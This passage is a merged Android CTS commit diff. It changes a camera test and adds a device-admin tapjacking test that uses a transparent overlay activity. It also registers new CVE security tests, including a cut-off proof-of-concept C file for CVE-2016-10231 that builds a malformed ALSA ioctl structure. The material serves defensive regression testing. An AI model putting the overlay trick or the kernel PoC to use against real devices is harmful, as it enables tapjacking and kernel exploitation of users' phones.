Merge "All storage tests should wait for idle." into oc-dev
diff --git a/apps/CameraITS/tests/scene1/test_ev_compensation_basic.py b/apps/CameraITS/tests/scene1/test_ev_compensation_basic.py
index c0b3b3e..4473bc7 100644
--- a/apps/CameraITS/tests/scene1/test_ev_compensation_basic.py
+++ b/apps/CameraITS/tests/scene1/test_ev_compensation_basic.py
@@ -12,29 +12,27 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-import its.image
+import os.path
+
 import its.caps
 import its.device
+import its.image
 import its.objects
-import os.path
-from matplotlib import pylab
 import matplotlib
-import matplotlib.pyplot
+from matplotlib import pylab
 import numpy as np
 
-#AE must converge within this number of auto requests for EV
-THRESH_CONVERGE_FOR_EV = 8
+NAME = os.path.basename(__file__).split('.')[0]
+LOCKED = 3
+LUMA_LOCKED_TOL = 0.05
+THRESH_CONVERGE_FOR_EV = 8  # AE must converge within this num
 YUV_FULL_SCALE = 255.0
 YUV_SATURATION_MIN = 253.0
 YUV_SATURATION_TOL = 1.0
 
 
 def main():
-    """Tests that EV compensation is applied.
-    """
-    LOCKED = 3
-
-    NAME = os.path.basename(__file__).split(".")[0]
+    """Tests that EV compensation is applied."""
 
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
@@ -50,7 +48,7 @@
             fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
 
         ev_per_step = its.objects.rational_to_float(
-                props['android.control.aeCompensationStep'])
+            props['android.control.aeCompensationStep'])
         steps_per_ev = int(1.0 / ev_per_step)
         evs = range(-2 * steps_per_ev, 2 * steps_per_ev + 1, steps_per_ev)
         lumas = []
@@ -64,31 +62,37 @@
         cam.do_3a(ev_comp=0, lock_ae=True, do_af=False)
 
         for ev in evs:
-
             # Capture a single shot with the same EV comp and locked AE.
             req = its.objects.auto_capture_request()
             req['android.control.aeExposureCompensation'] = ev
-            req["android.control.aeLock"] = True
+            req['android.control.aeLock'] = True
             caps = cam.do_capture([req]*THRESH_CONVERGE_FOR_EV, fmt)
-            for cap in caps:
-                if (cap['metadata']['android.control.aeState'] == LOCKED):
+            luma_locked = []
+            for i, cap in enumerate(caps):
+                if cap['metadata']['android.control.aeState'] == LOCKED:
                     y = its.image.convert_capture_to_planes(cap)[0]
-                    tile = its.image.get_image_patch(y, 0.45,0.45,0.1,0.1)
-                    lumas.append(its.image.compute_image_means(tile)[0])
-                    rgb = its.image.convert_capture_to_rgb_image(cap)
-                    rgb_tile = its.image.get_image_patch(rgb,
-                                                       0.45, 0.45, 0.1, 0.1)
-                    rgb_means = its.image.compute_image_means(rgb_tile)
-                    reds.append(rgb_means[0])
-                    greens.append(rgb_means[1])
-                    blues.append(rgb_means[2])
-                    break
-            assert(cap['metadata']['android.control.aeState'] == LOCKED)
+                    tile = its.image.get_image_patch(y, 0.45, 0.45, 0.1, 0.1)
+                    luma = its.image.compute_image_means(tile)[0]
+                    luma_locked.append(luma)
+                    if i == THRESH_CONVERGE_FOR_EV-1:
+                        lumas.append(luma)
+                        rgb = its.image.convert_capture_to_rgb_image(cap)
+                        rgb_tile = its.image.get_image_patch(rgb,
+                                                             0.45, 0.45,
+                                                             0.1, 0.1)
+                        rgb_means = its.image.compute_image_means(rgb_tile)
+                        reds.append(rgb_means[0])
+                        greens.append(rgb_means[1])
+                        blues.append(rgb_means[2])
+                        print 'lumas in AE locked captures: ', luma_locked
+                        assert np.isclose(min(luma_locked), max(luma_locked),
+                                          rtol=LUMA_LOCKED_TOL)
+            assert caps[THRESH_CONVERGE_FOR_EV-1]['metadata']['android.control.aeState'] == LOCKED
 
         pylab.plot(evs, lumas, '-ro')
         pylab.xlabel('EV Compensation')
         pylab.ylabel('Mean Luma (Normalized)')
-        matplotlib.pyplot.savefig("%s_plot_means.png" % (NAME))
+        matplotlib.pyplot.savefig('%s_plot_means.png' % (NAME))
 
         # Trim extra saturated images
         while lumas and lumas[-1] >= YUV_SATURATION_MIN/YUV_FULL_SCALE:
@@ -104,13 +108,13 @@
             else:
                 break
         # Only allow positive EVs to give saturated image
-        assert(len(lumas) > 2)
+        assert len(lumas) > 2
         luma_diffs = np.diff(lumas)
         min_luma_diffs = min(luma_diffs)
-        print "Min of the luma value difference between adjacent ev comp: ", \
-                min_luma_diffs
+        print 'Min of the luma value difference between adjacent ev comp: ',
+        print min_luma_diffs
         # All luma brightness should be increasing with increasing ev comp.
-        assert(min_luma_diffs > 0)
+        assert min_luma_diffs > 0
 
 if __name__ == '__main__':
     main()
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 8648aae..18a8764 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -118,6 +118,32 @@
                        android:value="android.software.device_admin" />
         </activity>
 
+        <activity android:name=".admin.tapjacking.DeviceAdminTapjackingTestActivity"
+                  android:label="@string/da_tapjacking_test"
+                  android:configChanges="keyboardHidden|orientation|screenSize">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_device_admin" />
+            <meta-data android:name="test_required_features"
+                       android:value="android.software.device_admin" />
+        </activity>
+
+        <receiver android:name=".admin.tapjacking.EmptyDeviceAdminReceiver"
+                  android:permission="android.permission.BIND_DEVICE_ADMIN">
+            <meta-data android:name="android.app.device_admin"
+                       android:resource="@xml/tapjacking_device_admin" />
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
+            </intent-filter>
+        </receiver>
+
+        <activity
+            android:name=".admin.tapjacking.OverlayingActivity"
+            android:theme="@style/OverlayTheme"
+            android:label="Overlaying Activity"/>
+
         <activity android:name=".companion.CompanionDeviceTestActivity"
                   android:label="@string/companion_test"
                   android:configChanges="keyboardHidden|orientation|screenSize">
diff --git a/apps/CtsVerifier/res/drawable/border.xml b/apps/CtsVerifier/res/drawable/border.xml
new file mode 100644
index 0000000..b419618
--- /dev/null
+++ b/apps/CtsVerifier/res/drawable/border.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+Copyright (C) 2017 The Android Open Source Project
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
+-->
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+       android:shape="rectangle">
+    <corners
+        android:radius="4dp"/>
+    <stroke
+        android:width="4dp"
+        android:color="@android:color/black" />
+</shape>
diff --git a/apps/CtsVerifier/res/layout/da_tapjacking_overlay_activity.xml b/apps/CtsVerifier/res/layout/da_tapjacking_overlay_activity.xml
new file mode 100644
index 0000000..5583fce
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/da_tapjacking_overlay_activity.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+Copyright (C) 2017 The Android Open Source Project
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent"
+              android:background="@drawable/border"
+              android:padding="8dp" >
+
+    <TextView android:layout_width="wrap_content"
+              android:layout_height="wrap_content"
+              android:textColor="@android:color/black"
+              android:text="@string/da_tapjacking_overlay_app_description" />
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/da_tapjacking_test_main.xml b/apps/CtsVerifier/res/layout/da_tapjacking_test_main.xml
new file mode 100644
index 0000000..2ee9ea9
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/da_tapjacking_test_main.xml
@@ -0,0 +1,55 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+     Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
+    style="@style/RootLayoutPadding"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:orientation="vertical">
+
+        <!-- Enable device admin -->
+        <RelativeLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content" >
+
+            <TextView
+                android:id="@+id/admin_tapjacking_instructions"
+                style="@style/InstructionsSmallFont"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_alignParentRight="true"
+                android:layout_alignParentTop="true"
+                android:text="@string/da_tapjacking_instructions" />
+
+            <Button
+                android:id="@+id/enable_admin_overlay_button"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_alignParentRight="true"
+                android:layout_below="@id/admin_tapjacking_instructions"
+                android:layout_marginLeft="20dip"
+                android:layout_marginRight="20dip"
+                android:text="@string/da_tapjacking_button_text" />
+        </RelativeLayout>
+
+        <include layout="@layout/pass_fail_buttons" />
+    </LinearLayout>
+
+</ScrollView>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 046d426..45e1ff3 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -79,6 +79,10 @@
         can be easily uninstalled from the application details screen in a way similar to other
         apps.
     </string>
+    <string name="da_tapjacking_test">Device Admin Tapjacking Test</string>
+    <string name="da_tapjacking_test_info">This test checks that an activity cannot tapjack the
+        user by obscuring the device admin details while prompting the user to activate the admin.
+    </string>
     <string name="car_dock_test">Car Dock Test</string>
     <string name="car_dock_test_desc">This test ensures that car mode opens the app associated with
         car dock when going into car mode.\n\n
@@ -134,6 +138,19 @@
     </string>
     <string name="da_uninstall_admin_button_text">Launch settings</string>
 
+    <string name="da_tapjacking_overlay_app_description">This activity attempts to tapjack the activity below.\n
+        Any security sensitive controls below should not respond to taps as long as this activity is visible.</string>
+    <string name="da_tapjacking_instructions">
+        1. Launch the device admin add screen by pressing the button below.\n
+        2. Wait for an overlaying transparent activity to show up obscuring the device admin details window.\n
+        3. The button to activate the admin should be disabled and should not register any taps.\n
+        4. Press \'back\' to exit the overlaying transparent activity.\n
+        5. Press \'back\' to exit the device admin details and return to this screen.\n
+        Pass the test if the device admin could not be activated while the details
+        window was being obscured.
+    </string>
+    <string name="da_tapjacking_button_text">Enable device admin</string>
+
     <!-- Strings for lock bound keys test -->
     <string name="sec_lock_bound_key_test">Lock Bound Keys Test</string>
     <string name="sec_lock_bound_key_test_info">
diff --git a/apps/CtsVerifier/res/values/styles.xml b/apps/CtsVerifier/res/values/styles.xml
index 0e05817..64fd4fe 100644
--- a/apps/CtsVerifier/res/values/styles.xml
+++ b/apps/CtsVerifier/res/values/styles.xml
@@ -13,4 +13,9 @@
     <style name="RootLayoutPadding">
         <item name="android:padding">10dip</item>
     </style>
+    <style name="OverlayTheme" parent="android:Theme.Dialog">
+        <item name="android:windowNoTitle">true</item>
+        <item name="android:windowIsTranslucent">true</item>
+        <item name="android:windowBackground">@android:color/transparent</item>
+    </style>
 </resources>
diff --git a/apps/CtsVerifier/res/xml/tapjacking_device_admin.xml b/apps/CtsVerifier/res/xml/tapjacking_device_admin.xml
new file mode 100644
index 0000000..d884663
--- /dev/null
+++ b/apps/CtsVerifier/res/xml/tapjacking_device_admin.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
+    <uses-policies>
+        <limit-password />
+        <watch-login />
+        <encrypted-storage />
+        <wipe-data />
+        <reset-password />
+        <disable-keyguard-features />
+        <force-lock />
+        <limit-password />
+    </uses-policies>
+</device-admin>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/DeviceAdminTapjackingTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/DeviceAdminTapjackingTestActivity.java
new file mode 100644
index 0000000..4c9b46d
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/DeviceAdminTapjackingTestActivity.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.admin.tapjacking;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.util.Log;
+import android.view.View;
+import android.widget.Button;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+/**
+ * Test that checks that device admin activate button does not allow taps when another window
+ * is obscuring the device admin details
+ */
+public class DeviceAdminTapjackingTestActivity extends PassFailButtons.Activity implements
+        View.OnClickListener {
+
+    private static final String TAG = DeviceAdminTapjackingTestActivity.class.getSimpleName();
+    private static final String ADMIN_ACTIVATED_BUNDLE_KEY = "admin_activated";
+    private static final String ACTIVITIES_FINISHED_IN_ORDER_KEY = "activities_finished_in_order";
+    private static final int REQUEST_ENABLE_ADMIN = 0;
+    private static final int REQUEST_OVERLAY_ACTIVITY = 1;
+    private static final long REMOVE_ADMIN_TIMEOUT = 5000;
+
+    private DevicePolicyManager mDevicePolicyManager;
+    private Button mAddDeviceAdminButton;
+    private boolean mAdminActivated;
+    private boolean mActivitiesFinishedInOrder;
+    private boolean mOverlayFinished;
+    private ComponentName mAdmin;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.da_tapjacking_test_main);
+        setInfoResources(R.string.da_tapjacking_test, R.string.da_tapjacking_test_info, -1);
+        setPassFailButtonClickListeners();
+
+        mAdmin = new ComponentName(this, EmptyDeviceAdminReceiver.class);
+        mDevicePolicyManager = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
+
+        if (savedInstanceState != null) {
+            mAdminActivated = savedInstanceState.getBoolean(ADMIN_ACTIVATED_BUNDLE_KEY, false);
+            mActivitiesFinishedInOrder = savedInstanceState.getBoolean(
+                    ACTIVITIES_FINISHED_IN_ORDER_KEY, false);
+        } else if (isActiveAdminAfterTimeout()) {
+            Log.e(TAG, "Could not remove active admin. Cannot proceed with test");
+            finish();
+        }
+        mAddDeviceAdminButton = findViewById(R.id.enable_admin_overlay_button);
+        mAddDeviceAdminButton.setOnClickListener(this);
+    }
+
+    private boolean isActiveAdminAfterTimeout() {
+        final long timeOut = SystemClock.uptimeMillis() + REMOVE_ADMIN_TIMEOUT;
+        while (mDevicePolicyManager.isAdminActive(mAdmin)
+                && SystemClock.uptimeMillis() < timeOut ) {
+            try {
+                Thread.sleep(1000);
+            } catch(InterruptedException exc) {
+            }
+        }
+        return mDevicePolicyManager.isAdminActive(mAdmin);
+    }
+
+    @Override
+    public void onClick(View v) {
+        if (v == mAddDeviceAdminButton) {
+            Intent securitySettingsIntent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
+            securitySettingsIntent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mAdmin);
+            startActivityForResult(securitySettingsIntent, REQUEST_ENABLE_ADMIN);
+            try {
+                Thread.sleep(2000);
+            } catch (InterruptedException exc) {
+            }
+            startActivityForResult(new Intent(this, OverlayingActivity.class),
+                    REQUEST_OVERLAY_ACTIVITY);
+        }
+    }
+
+    @Override
+    public void onActivityResult(int requestCode, int resultCode, Intent data) {
+        if (requestCode == REQUEST_ENABLE_ADMIN) {
+            mActivitiesFinishedInOrder = mOverlayFinished;
+            if (resultCode == RESULT_OK) {
+                mAdminActivated = true;
+                Log.e(TAG, "Admin was activated. Restart the Test");
+            }
+        }
+        else if (requestCode == REQUEST_OVERLAY_ACTIVITY) {
+            mOverlayFinished = true;
+        }
+    }
+
+    @Override
+    public void onResume() {
+        super.onResume();
+        updateWidgets();
+    }
+
+    @Override
+    public void onSaveInstanceState(Bundle icicle) {
+        icicle.putBoolean(ADMIN_ACTIVATED_BUNDLE_KEY, mAdminActivated);
+        icicle.putBoolean(ACTIVITIES_FINISHED_IN_ORDER_KEY, mActivitiesFinishedInOrder);
+    }
+
+    private void updateWidgets() {
+        mAddDeviceAdminButton.setEnabled(!mActivitiesFinishedInOrder && !mAdminActivated);
+        getPassButton().setEnabled(!mAdminActivated && mActivitiesFinishedInOrder);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/EmptyDeviceAdminReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/EmptyDeviceAdminReceiver.java
new file mode 100644
index 0000000..42dd9ac
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/EmptyDeviceAdminReceiver.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.admin.tapjacking;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+
+public class EmptyDeviceAdminReceiver extends DeviceAdminReceiver {
+
+    @Override
+    public void onEnabled(Context context, Intent intent) {
+        DevicePolicyManager dpm =
+                (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);
+        dpm.removeActiveAdmin(new ComponentName(context, this.getClass()));
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/OverlayingActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/OverlayingActivity.java
new file mode 100644
index 0000000..52c7ed5
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/OverlayingActivity.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.admin.tapjacking;
+
+import static android.view.WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON;
+import static android.view.WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+import com.android.cts.verifier.R;
+
+
+public class OverlayingActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.da_tapjacking_overlay_activity);
+        WindowManager.LayoutParams params = getWindow().getAttributes();
+        params.flags = FLAG_LAYOUT_NO_LIMITS | FLAG_NOT_TOUCH_MODAL | FLAG_NOT_TOUCHABLE
+                | FLAG_KEEP_SCREEN_ON;
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
index f9d732c..9e4744c 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
@@ -18,18 +18,39 @@
 
 public class ResetPasswordWithTokenTest extends BaseDeviceAdminTest {
 
-    private static final String TAG = "ResetPasswordWithTokenTest";
-
     private static final String PASSWORD = "1234";
 
     private static final byte[] TOKEN0 = "abcdefghijklmnopqrstuvwxyz0123456789".getBytes();
     private static final byte[] TOKEN1 = "abcdefghijklmnopqrstuvwxyz012345678*".getBytes();
 
     public void testResetPasswordWithToken() {
+        testResetPasswordWithToken(false);
+    }
+
+    public void testResetPasswordWithTokenMayFail() {
+        // If this test is executed on a device with password token disabled, allow the test to
+        // pass.
+        testResetPasswordWithToken(true);
+    }
+
+    private void testResetPasswordWithToken(boolean acceptFailure) {
         try {
             // set up a token
             assertFalse(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
-            assertTrue(mDevicePolicyManager.setResetPasswordToken(ADMIN_RECEIVER_COMPONENT, TOKEN0));
+
+            try {
+                // On devices with password token disabled, calling this method will throw
+                // a security exception. If that's anticipated, then return early without failing.
+                assertTrue(mDevicePolicyManager.setResetPasswordToken(ADMIN_RECEIVER_COMPONENT,
+                        TOKEN0));
+            } catch (SecurityException e) {
+                if (acceptFailure &&
+                        e.getMessage().equals("Escrow token is disabled on the current user")) {
+                    return;
+                } else {
+                    throw e;
+                }
+            }
             assertTrue(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
 
             // resetting password with wrong token should fail
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index d20d5e4..2063104 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -38,8 +38,6 @@
 import java.util.Map;
 import java.util.Set;
 import java.util.concurrent.TimeUnit;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
 
 import javax.annotation.Nullable;
 
@@ -228,13 +226,19 @@
         return 0;
     }
 
-    protected void stopUser(int userId) throws Exception  {
+    protected void stopUser(int userId) throws Exception {
+        // Wait for the broadcast queue to be idle first to workaround the stop-user timeout issue.
+        waitForBroadcastIdle();
         String stopUserCommand = "am stop-user -w -f " + userId;
         CLog.d("starting command \"" + stopUserCommand + "\" and waiting.");
         CLog.d("Output for command " + stopUserCommand + ": "
                 + getDevice().executeShellCommand(stopUserCommand));
     }
 
+    private void waitForBroadcastIdle() throws Exception {
+        getDevice().executeShellCommand("am wait-for-broadcast-idle");
+    }
+
     protected void removeUser(int userId) throws Exception  {
         if (listUsers().contains(userId) && userId != USER_SYSTEM) {
             // Don't log output, as tests sometimes set no debug user restriction, which
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index 0023d92..41775b3 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -50,6 +50,10 @@
 	<option name="push" value="CVE-2017-0580->/data/local/tmp/CVE-2017-0580" />
 	<option name="push" value="CVE-2017-0462->/data/local/tmp/CVE-2017-0462" />
 	<option name="push" value="CVE-2017-0579->/data/local/tmp/CVE-2017-0579" />
+	<option name="push" value="CVE-2017-0577->/data/local/tmp/CVE-2017-0577" />
+	<option name="push" value="CVE-2016-10231->/data/local/tmp/CVE-2016-10231" />
+	<option name="push" value="CVE-2017-0564->/data/local/tmp/CVE-2017-0564" />
+	<option name="push" value="CVE-2017-7369->/data/local/tmp/CVE-2017-7369" />
         <option name="append-bitness" value="true" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk
new file mode 100644
index 0000000..3ba801e
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-10231
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10231/poc.c b/hostsidetests/security/securityPatch/CVE-2016-10231/poc.c
new file mode 100644
index 0000000..b6b82d7
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-10231/poc.c
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/ioctl.h>
+#include <fcntl.h>
+#include <string.h>
+#include <stdlib.h>
+
+#define SNDRV_CTL_IOCTL_ELEM_WRITE	_IOWR('U', 0x13, struct snd_ctl_elem_value)
+
+typedef int __bitwise snd_ctl_elem_iface_t;
+
+struct snd_aes_iec958 {
+    unsigned char status[24];
+    unsigned char subcode[147];
+    unsigned char pad;
+    unsigned char dig_subframe[4];
+};
+
+struct snd_ctl_elem_id {
+    unsigned int numid;
+    snd_ctl_elem_iface_t iface;
+    unsigned int device;
+    unsigned int subdevice;
+    unsigned char name[44];
+    unsigned int index;
+};
+
+struct snd_ctl_elem_value {
+    struct snd_ctl_elem_id id;
+    unsigned int indirect: 1;
+    union {
+	union {
+	    long value[128];
+	    long *value_ptr;
+	} integer;
+	union {
+	    long long value[64];
+	    long long *value_ptr;
+	} integer64;
+	union {
+	    unsigned int item[128];
+	    unsigned int *item_ptr;
+	} enumerated;
+	union {
+	    unsigned char data[512];
+	    unsigned char *data_ptr;
+	} bytes;
+	struct snd_aes_iec958 iec958;
+    } value;
+    struct timespec tstamp;
+    unsigned char reserved[128-sizeof(struct timespec)];
+};
+
+int main()
+{
+    struct snd_ctl_elem_value val;
+    memset(&val, 0xff, sizeof(val));
+    val.id.numid = 0x80;
+    val.id.iface = 0x1;
